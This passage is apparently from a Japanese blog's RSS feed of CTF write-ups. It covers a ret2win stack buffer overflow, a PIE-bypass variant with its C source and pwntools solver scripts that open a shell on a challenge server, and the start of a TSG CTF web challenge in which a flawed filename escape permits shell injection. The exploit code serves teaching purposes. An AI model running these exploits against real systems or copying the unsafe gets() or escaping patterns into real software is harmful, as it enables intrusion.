&lt;/figure>
&lt;p>ソースコードから，&lt;code>buf&lt;/code>の先頭から18バイト先にリターンアドレスが格納されていることがわかる．&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>スタック&lt;/th>
&lt;th>バイト数&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>buf&lt;/td>
&lt;td>10&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Saved RBP&lt;/td>
&lt;td>8&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>リターンアドレス&lt;/td>
&lt;td>8&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>したがって，18バイト分の文字＋win関数のアドレスを入力すればいい．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">elf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;./chall&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">win_addr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">symbols&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;win&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;34.170.146.252&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">59419&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">18&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">win_addr&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendafter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;input:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;pre tabindex="0">&lt;code>$ python solve.py
Hello, AAAAAAAAAAAAAAAAAA\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}
&lt;/code>&lt;/pre>&lt;/details>
&lt;hr>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2026-01-12 Basic Buffer Overflow [Medium]
&lt;/u>&lt;/summary>
&lt;h3 id="basic-buffer-overflow-medium">Basic Buffer Overflow [Medium]&lt;/h3>
&lt;blockquote>
&lt;p>PIE 有効下で win() を呼び出してシェルを取ろう!&lt;br>
🦙 &amp;lt; フラグは /flag.txt にあるパカ &lt;br>
basic-buffer-overflow.tar.gz &lt;br>
nc 34.170.146.252 19295&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要-7">概要&lt;/h4>
&lt;p>Buffer Overflow (BOF)の脆弱性の問題．&lt;br>
スタック上のリターンアドレスを win 関数のアドレスに書き換える．&lt;/p>
&lt;ul>
&lt;li>Stack Canary 無効&lt;/li>
&lt;li>PIE (Position Independent Executable) 有効&lt;/li>
&lt;/ul>
&lt;h4 id="解法-5">解法&lt;/h4>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">main.c&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// gcc -o chal main.c -fno-stack-protector -O0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// You don&amp;#39;t have to care about this function
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="nf">__attribute__&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">constructor&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="kt">void&lt;/span> &lt;span class="nf">setup&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">setbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">setbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">** How to get the address of `win` **
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> $ nm chal | grep win
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> XXXXXXXXX
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">This address is **NOT fixed** across executions, because the challenge binary
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">`chal` is compiled WITHOUT -fno-pie (i.e., without position-independent code).
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">*/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">win&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">execve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;/bin/sh&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;address of main function: %p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">main&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buffer&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;input &amp;gt; &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">gets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>ソースコードから，スタック上では&lt;code>buffer&lt;/code>の先頭から $64 + 8 = 72$ バイト先にリターンアドレスが格納されていることがわかる．&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>スタック&lt;/th>
&lt;th>バイト数&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>buffer&lt;/td>
&lt;td>64&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Saved RBP&lt;/td>
&lt;td>8&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>リターンアドレス&lt;/td>
&lt;td>8&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>したがって，「72バイト分の任意のデータ＋win関数のアドレス」を入力すればいい．&lt;/p>
&lt;p>ただし，PIEが有効となっているため，実行のたびに各関数の絶対アドレスがランダム化される．&lt;/p>
&lt;p>しかし，このプログラムは実行時に &lt;code>main&lt;/code> 関数の実際のアドレスが表示されるため，
&lt;code>main&lt;/code> と &lt;code>win&lt;/code> のアドレスの相対的な距離（オフセット）は変化しないことを用いて攻撃できる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nm chal | grep main
U __libc_start_main@GLIBC_2.34
0000000000001200 T main
$ nm chal | grep win
00000000000011dc T win
&lt;/code>&lt;/pre>&lt;p>あるいは，nm (Name List) コマンドの代わりに objdump -d コマンドを利用してもよい．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ objdump -d chal | grep main
10d8: 48 8d 3d 21 01 00 00 lea 0x121(%rip),%rdi # 1200 &amp;lt;main&amp;gt;
10df: ff 15 f3 2e 00 00 call *0x2ef3(%rip) # 3fd8 &amp;lt;__libc_start_main@GLIBC_2.34&amp;gt;
0000000000001200 &amp;lt;main&amp;gt;:
120c: 48 8d 05 ed ff ff ff lea -0x13(%rip),%rax # 1200 &amp;lt;main&amp;gt;
$ objdump -d chal | grep win
00000000000011dc &amp;lt;win&amp;gt;:
&lt;/code>&lt;/pre>&lt;p>これで，&lt;code>main&lt;/code> と &lt;code>win&lt;/code> のアドレスの相対的な距離（オフセット）が diff = 0x1200 - 0x11dc とわかるので，以下のsolver.pyを実行する．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">diff&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x1200&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mh">0x11dc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;34.170.146.252&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">19295&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;address of main function: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">main_addr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">win_addr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">main_addr&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">diff&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">72&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">win_addr&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendlineafter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;input &amp;gt; &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>あるいは，バイナリファイルを直接読み込み，シンボル名からオフセットを自動計算してもよい．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">elf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;./chal&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">diff&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">symbols&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;main&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">symbols&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;win&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;34.170.146.252&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">19295&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;address of main function: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">main_addr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">win_addr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">main_addr&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">diff&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;A&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">72&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">win_addr&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendlineafter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;input &amp;gt; &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;pre tabindex="0">&lt;code>$ python solver.py
[*] Switching to interactive mode
$ cat /flag.txt
Alpaca{This_is_als0_basic_skill_even_w1th_PIE}
&lt;/code>&lt;/pre>&lt;/details></description></item><item><title>TSG CTF 2025 Writeup</title><link>https://stark2420.github.io/starknote/post/tsgctf-2025/</link><pubDate>Tue, 23 Dec 2025 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/tsgctf-2025/</guid><description>&lt;p>2025/12/20 16:00(JST) - 2025/12/21 16:00(JST)で開催された TSG CTF 2025 に参加した．&lt;/p>
&lt;p>チームで参加し，結果は，1201 点で 489 チーム中 88 位 (Domesticチームでは26位) だった．&lt;/p>
&lt;p>解いた問題についてまとめておく．&lt;/p>
&lt;p>&lt;a href="https://score.ctf.tsg.ne.jp/challenges"target="_blank" rel="noopener noreferrer">https://score.ctf.tsg.ne.jp/challenges&lt;/a>&lt;/p>
&lt;h2 id="web">Web&lt;/h2>
&lt;h3 id="image-compress-revenge-106-solve-100">image-compress-revenge [106 Solve (100)]&lt;/h3>
&lt;blockquote>
&lt;p>I tried making an app with Vibe coding. It&amp;rsquo;s easy and nice, isn&amp;rsquo;t it?&lt;br>
http://35.221.67.248:10502&lt;br>
image-compress-revenge.tar.gz&lt;/p>
&lt;/blockquote>
&lt;p>画像をアップロードできるWebアプリである．
ファイル名は&lt;code>escape&lt;/code>関数によって，サニタイズされている．
該当の文字の場合，&lt;code>\\&lt;/code>をつけることでエスケープされる．
しかし，適用される文字列の中にバックスラッシュ&lt;code>\&lt;/code>がないことが脆弱性となる．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">server.ts&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="n">Elysia&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">t&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="kn">from&lt;/span> &lt;span class="s2">&amp;#34;elysia&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="n">unlink&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="kn">from&lt;/span> &lt;span class="s2">&amp;#34;fs/promises&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="n">run&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="kn">from&lt;/span> &lt;span class="s2">&amp;#34;./lib/shell.ts&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">const&lt;/span> &lt;span class="n">CHARS_TO_ESCAPE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;$&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">()&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">[]:;/&amp;amp;`~|^!? &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">export&lt;/span> &lt;span class="n">function&lt;/span> &lt;span class="n">escape&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">source&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">string&lt;/span>&lt;span class="p">):&lt;/span> &lt;span class="n">string&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">let&lt;/span> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">source&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">const&lt;/span> &lt;span class="n">char&lt;/span> &lt;span class="n">of&lt;/span> &lt;span class="n">CHARS_TO_ESCAPE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">replaceAll&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">char&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">char&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">const&lt;/span> &lt;span class="n">app&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">new&lt;/span> &lt;span class="n">Elysia&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">Bun&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./public/index.html&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">.&lt;/span>&lt;span class="n">post&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;/compress&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">async&lt;/span> &lt;span class="p">({&lt;/span> &lt;span class="n">body&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">set&lt;/span> &lt;span class="p">})&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">const&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="n">image&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">quality&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">body&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
